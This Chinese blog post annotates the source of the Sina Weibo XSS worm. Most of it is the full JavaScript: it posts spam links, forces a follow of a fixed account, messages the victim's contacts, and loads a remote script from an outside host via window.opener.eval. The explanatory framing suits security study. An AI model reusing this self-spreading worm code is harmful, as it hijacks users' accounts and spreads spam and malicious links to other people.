新浪微博XSS攻击代码简要解析

 

代码下载(来源鸽姆安全网)

 

[javascript] view plain copy print ?
  1. /** 
  2.  *使用AJAX创建XMLHttpRequest对象,若不是IE浏览器,使用XMLHttpRequest创建XHR对象, 
  3.  *否则使用ActiveXObject创建XHR对象。 
  4.  */  
  5. function createXHR(){  
  6.     return window.XMLHttpRequest?  
  7.     new XMLHttpRequest():  
  8.     new ActiveXObject("Microsoft.XMLHTTP");  
  9. }  
  10.   
  11. /** 
  12.  *获得所有用户,下面一个函数将用其获得用户所有的关注用户 
  13.  */  
  14. function getappkey(url){  
  15.     xmlHttp = createXHR();  
  16.       
  17.     //使用GET方式发送AJAX请求   
  18.     xmlHttp.open("GET",url,false);  
  19.     xmlHttp.send();  
  20.     //获得服务器响应结果   
  21.     result = xmlHttp.responseText;  
  22.     id_arr = '';  
  23.     id = result.match(/namecard=/"true/" title=/"[^/"]*/g);  
  24.     for(i=0;i<id.length;i++){  
  25.         sum = id[i].toString().split('"')[3];  
  26.         id_arr += sum + '||';  
  27.     }  
  28.     return id_arr;  
  29. }  
  30.   
  31. /** 
  32.  *创建随机微博msg,微博内容为msgs数组的随机一条内容+一个链接link. 
  33.  *使用encodeURIComponent(msg)对encodeURIComponent(msg)该随机产生的微博编码,然后返回。 
  34.  */  
  35. function random_msg(){  
  36.     link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;  
  37.     var msgs = [  
  38.         '郭美美事件的一些未注意到的细节:',  
  39.         '建党大业中穿帮的地方:',  
  40.         '让女人心动的100句诗歌:',  
  41.         '3D肉团团高清普通话版种子:',  
  42.         '这是传说中的神仙眷侣啊:',  
  43.         '惊爆!范冰冰艳照真流出了:',  
  44.         '杨幂被爆多次被潜规则:',  
  45.         '傻仔拿锤子去抢银行:',  
  46.         '可以监听别人手机的软件:',  
  47.         '个税起征点有望提到4000:'];  
  48.     var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;  
  49.     msg = encodeURIComponent(msg);  
  50.     return msg;  
  51. }  
  52.   
  53. /** 
  54.  *使用POST方式发送AJAX请求,并设置请求头部Accept 和Content-Type 
  55.  */  
  56. function post(url,data,sync){  
  57.     xmlHttp = createXHR();  
  58.     xmlHttp.open("POST",url,sync);  
  59.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
  60.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
  61.     xmlHttp.send(data);  
  62. }  
  63.   
  64. /**  
  65.  *发布微博  
  66.  */  
  67.    
  68. function publish(){  
  69.     url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();  
  70.     data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';  
  71.     post(url,data,true);  
  72. }  
  73.   
  74.   
  75. function follow(){  
  76.     url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();  
  77.     data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';  
  78.     post(url,data,true);  
  79. }  
  80.   
  81.   
  82. /** 
  83.  *向所有用户发送微博 
  84.  */  
  85. function message(){  
  86.     url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';     //用户关注  
  87.     ids = getappkey(url);  
  88.     id = ids.split('||');  
  89.     for(i=0;i<id.length - 1 & i<5;i++){  
  90.         msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();  
  91.         msg = random_msg();  
  92.         msg = encodeURIComponent(msg);  
  93.         user = encodeURIComponent(encodeURIComponent(id[i]));  
  94.         data = 'content=' + msg + '&name=' + user + '&retcode=';  
  95.         post(msgurl,data,false);  
  96.     }  
  97. }  
  98. function main(){  
  99.     try{  
  100.         publish();  
  101.     }  
  102.     catch(e){}  
  103.     try{  
  104.         follow();  
  105.     }  
  106.     catch(e){}  
  107.     try{  
  108.         message();  
  109.     }  
  110.     catch(e){}  
  111. }  
  112.   
  113. /** 
  114.  *创建script标签,并引进http://www.2kt.cn/images/t.js这个脚本,将其加载到该网页,并执行,完成跨站脚本攻击(XSS)。 
  115.  */  
  116. try{  
  117.    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);  
  118. }  
  119. catch(e){}  
  120. main();  
  121. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);  

 

 

说下几个js函数:

直接上图:

 

来源:http://www.dreamdu.com/javascript/Math.random/

 

 

 

 

 

 

参考:

   鸽姆安全网

   W3school

   Dreamdu

更多 0
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值